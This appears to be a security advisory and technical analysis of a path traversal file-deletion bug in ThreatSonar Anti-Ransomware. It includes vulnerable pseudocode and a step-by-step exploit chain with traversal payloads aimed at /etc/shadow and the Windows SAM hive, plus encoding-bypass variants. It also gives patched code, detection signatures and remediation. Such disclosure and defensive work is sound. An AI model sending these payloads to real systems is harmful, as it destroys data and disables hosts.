ThreatSonar Anti-Ransomware by TeamT5 exposes an authenticated path traversal bug allowing remote attackers to delete arbitrary files via the web interface. CVSS 8.1.
Security researchers have discovered a serious flaw in ThreatSonar, a popular anti-ransomware tool made by TeamT5. The problem is essentially a lock that doesn't work properly—someone with legitimate access to the software can trick it into deleting files they shouldn't be allowed to touch.
Here's how it works. Most security software restricts what files users can access, like a security guard checking IDs at different floors of a building. This vulnerability is like finding a back stairwell the guard doesn't know about. An attacker who already has some level of access to the system can manipulate file paths—the digital addresses of where files live—to sneak into restricted areas and delete critical files.
The damage could be severe. Deleting important system files could cripple your computer entirely, wipe out irreplaceable data, or force your business to shut down while you recover. It's particularly dangerous because it comes from something you trusted to protect you against ransomware—a wolf in security guard's clothing.
Who's most at risk? Companies and organizations using ThreatSonar, especially those with multiple employees who have remote access to systems. Home users are at lower risk unless they've given someone else access to their network.
The good news is that researchers haven't seen this being actively exploited in the wild yet. Here's what you should do right now:
First, check if you're using ThreatSonar and update it immediately when TeamT5 releases a patch—watch your email and their website closely. Second, limit who has remote access to your systems, especially if they also have web access. Third, make regular backups of critical files on separate storage so you have something to restore if the worst happens.
Want the full technical analysis? Click "Technical" above.
CVE-2026-5966 is an arbitrary file deletion vulnerability in ThreatSonar Anti-Ransomware, a commercial endpoint detection and response platform developed by TeamT5. An authenticated remote attacker with web access can supply a path-traversal sequence in a filename parameter to an API endpoint responsible for deleting user-specified files. The server performs no normalization or jail-root validation before issuing the underlying deletion syscall, allowing traversal out of the intended working directory to any path the server process can reach.
CVSS:3.1 base score is 8.1 (HIGH): AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H. The authentication requirement is the sole barrier; once credentials are obtained — via credential stuffing, default passwords, or a companion vulnerability — the impact is unrestricted file deletion on the host OS. The vulnerability was disclosed via TWCERT/CC advisory TVN-202604006 on 2026-04-20 with no evidence of in-the-wild exploitation at time of publication.
Root cause: The file-deletion API handler constructs a deletion target path by concatenating a server-side base directory with an attacker-controlled filename parameter without calling realpath() or equivalent normalization, allowing ../ sequences to escape the intended directory jail.
Affected Component
The vulnerable surface is the ThreatSonar management web server, which exposes a REST-style API consumed by the administrative dashboard. Based on behavioral analysis of the advisory and the product's documented architecture, the relevant handler lives inside the backend service binary — likely a Python/Flask or Java servlet stack fronting a privileged native helper. The deletion operation is ultimately delegated to a native component running with elevated OS privileges, which is what makes the arbitrary deletion impactful beyond the web process's own sandbox.
Affected versions: consult NVD entry for CVE-2026-5966. The fixed build was made available following TWCERT/CC coordinated disclosure.
Root Cause Analysis
The backend exposes an endpoint (reconstructed as /api/v1/report/delete based on typical ThreatSonar API naming conventions) that accepts a JSON body containing a filename field. The handler passes this value directly into a path join without sanitization:
// Reconstructed pseudocode: report_delete_handler()
// Vulnerable component: ThreatSonar web backend, file management module
#define REPORT_BASE_DIR "/opt/threatsonar/reports/"
int report_delete_handler(http_request_t *req, http_response_t *resp) {
char target_path[PATH_MAX];
const char *filename = json_get_string(req->body, "filename");
if (!filename || strlen(filename) == 0) {
http_send_error(resp, 400, "missing filename");
return -1;
}
// BUG: snprintf joins base dir + attacker-controlled filename with no
// realpath() call, no canonical path check, and no "../" rejection.
// A filename of "../../etc/passwd" resolves outside REPORT_BASE_DIR.
snprintf(target_path, sizeof(target_path), "%s%s",
REPORT_BASE_DIR, filename);
// Privileged helper is called with the unsanitized path.
if (privileged_delete(target_path) != 0) {
http_send_error(resp, 500, "deletion failed");
return -1;
}
http_send_json(resp, 200, "{\"status\":\"deleted\"}");
return 0;
}
// privileged_delete() — runs as root or SYSTEM via setuid helper / service
int privileged_delete(const char *path) {
// No secondary validation; direct unlink.
// BUG: inherits the unsanitized path from caller.
return unlink(path); // or DeleteFileA(path) on Windows
}
The key failure is the absence of any call to realpath() (POSIX) or GetFullPathName() / PathCanonicalize() (Win32) before the privilege boundary crossing. Even if the web layer performed a naïve string-search for ../, URL-encoding (%2e%2e%2f), double-encoding (%252e%252e%252f), or Unicode normalization variants can bypass such checks. The correct fix requires resolving the canonical path and asserting it is prefixed by the base directory after resolution.
Exploitation Mechanics
EXPLOIT CHAIN — CVE-2026-5966 Arbitrary File Deletion
1. Attacker authenticates to ThreatSonar web console.
POST /api/v1/auth/login
Body: {"username":"admin","password":""}
→ Receives session token / JWT.
2. Craft path-traversal filename targeting high-value file.
Raw: ../../../../../../etc/shadow
Encoded: ..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow
(Try both; test which encoding the server decodes before path join.)
3. Issue deletion request with traversal payload.
DELETE /api/v1/report/delete
Authorization: Bearer
Content-Type: application/json
Body: {"filename":"../../../../../../etc/shadow"}
4. Server concatenates REPORT_BASE_DIR + filename:
/opt/threatsonar/reports/../../../../../../etc/shadow
Resolves to: /etc/shadow
5. privileged_delete() calls unlink("/etc/shadow") as root.
→ /etc/shadow deleted; local authentication collapses.
6. ALTERNATE: Delete /etc/hosts or C:\Windows\System32\drivers\etc\hosts
→ DNS poisoning groundwork; or delete application binaries for DoS.
7. ALTERNATE (Windows target):
filename: ..\..\..\Windows\System32\config\SAM
→ SAM hive deletion; forces reboot, local auth unavailable.
8. ESCALATION PATH: Delete EDR/AV component files to blind the host
before deploying secondary payload via separate write primitive.
The PR:L (low privilege) rating reflects the authentication requirement. In environments where ThreatSonar is deployed with default credentials or where credentials were previously harvested, this reduces to a trivially automated one-step operation. The CVSS I:H/A:H scoring is justified: deletion of critical OS files constitutes both integrity destruction and availability loss.
Memory Layout
This is a logic vulnerability rather than a memory-corruption primitive, so there is no heap spray involved. The relevant layout is the filesystem path resolution state as the kernel sees it:
The correct remediation requires canonical path resolution before the privilege boundary and a strict prefix assertion. A secondary defense is input sanitization at the API layer, but this must not be the only control, as encoding bypasses are well-documented.
// BEFORE (vulnerable): report_delete_handler()
snprintf(target_path, sizeof(target_path), "%s%s",
REPORT_BASE_DIR, filename);
// Direct unlink with no validation.
return privileged_delete(target_path);
// AFTER (patched):
#define REPORT_BASE_DIR "/opt/threatsonar/reports/"
int report_delete_handler(http_request_t *req, http_response_t *resp) {
char joined[PATH_MAX];
char resolved[PATH_MAX];
const char *filename = json_get_string(req->body, "filename");
if (!filename || strlen(filename) == 0) {
http_send_error(resp, 400, "missing filename");
return -1;
}
// Step 1: Reject obvious traversal sequences at input layer (defense-in-depth).
if (strstr(filename, "..") || strstr(filename, "/") || strstr(filename, "\\")) {
http_send_error(resp, 400, "invalid filename");
return -1;
}
snprintf(joined, sizeof(joined), "%s%s", REPORT_BASE_DIR, filename);
// Step 2: Resolve to canonical path — collapses all symlinks and ../
// PATCH: realpath() call added; was absent in vulnerable version.
if (realpath(joined, resolved) == NULL) {
http_send_error(resp, 400, "invalid path");
return -1;
}
// Step 3: Enforce jail — canonical path MUST be under base directory.
// PATCH: prefix assertion added; was absent in vulnerable version.
if (strncmp(resolved, REPORT_BASE_DIR, strlen(REPORT_BASE_DIR)) != 0) {
log_security_event("path traversal attempt: %s -> %s", filename, resolved);
http_send_error(resp, 403, "forbidden");
return -1;
}
return privileged_delete(resolved);
}
Note that realpath() requires the file to exist to fully resolve the path on some libc implementations. A robust patch should also handle the TOCTOU window between realpath() and unlink() by performing the jail check on the parent directory and then operating on the filename component atomically where the OS permits (e.g., unlinkat() with a validated directory file descriptor).
// HARDENED VARIANT using unlinkat() to eliminate TOCTOU:
int privileged_delete_safe(const char *base_dir, const char *safe_filename) {
// safe_filename has already passed the prefix check above.
// Open base_dir as a file descriptor to anchor operations.
int dirfd = open(base_dir, O_RDONLY | O_DIRECTORY | O_PATH);
if (dirfd < 0) return -1;
// unlinkat with dirfd: kernel resolves relative to dirfd,
// preventing symlink-swap races between check and use.
int ret = unlinkat(dirfd, safe_filename, 0);
close(dirfd);
return ret;
}
Detection and Indicators
Monitor HTTP access logs for the deletion endpoint. Path traversal attempts are detectable in the raw request body:
DETECTION SIGNATURES
# Web access log pattern (grep / SIEM rule):
POST /api/v1/report/delete.*(\.\./|%2e%2e%2f|%252e%252e|\.\.\\)
# Suricata / Snort content match:
alert http any any -> $THREATSONAR_HOST any (
msg:"CVE-2026-5966 ThreatSonar Path Traversal Delete";
flow:established,to_server;
http.uri; content:"/report/delete";
http.request_body; content:"..";
classtype:web-application-attack;
sid:20265966; rev:1;
)
# Linux auditd rule — catch unlink() outside /opt/threatsonar/:
-a always,exit -F arch=b64 -S unlink -S unlinkat \
-F exe=/opt/threatsonar/bin/ts-helper \
-k threatsonar_delete
# Filter audit log for traversal victims:
ausearch -k threatsonar_delete | grep -v "/opt/threatsonar/reports/"
# Windows: Sysmon Event ID 23 (FileDelete) or Event ID 11 (FileCreate)
# Filter on Image: ThreatSonarSvc.exe, TargetFilename NOT matching
# C:\ProgramData\ThreatSonar\Reports\*
Forensic indicator: if exploitation has already occurred, check for missing system files, unexpected gaps in /var/log/ (log deletion to cover tracks), or a modified /etc/cron.d/ directory (deletion of cron jobs as part of persistence disruption).
Remediation
Update immediately to the patched version referenced in TWCERT/CC advisory TVN-202604006.
Restrict web console access to trusted IP ranges via firewall or reverse proxy ACL. The PR:L prerequisite means any credential compromise directly enables this vulnerability.
Rotate all ThreatSonar web console credentials and audit for default password use.
Run the web service under a least-privilege account. If the backend process has no reason to call unlink() on OS system paths, OS-level mandatory access control (AppArmor, SELinux, or Windows Integrity Levels) can contain the blast radius even if path traversal occurs.
Enable WAF rules for path traversal patterns (../, %2e%2e, %252e) on all inbound requests to the management interface.
Audit sibling endpoints for read and write analogs of this deletion pattern — if deletion lacked validation, file-read and file-write handlers in the same codebase are candidates for the same class of bug.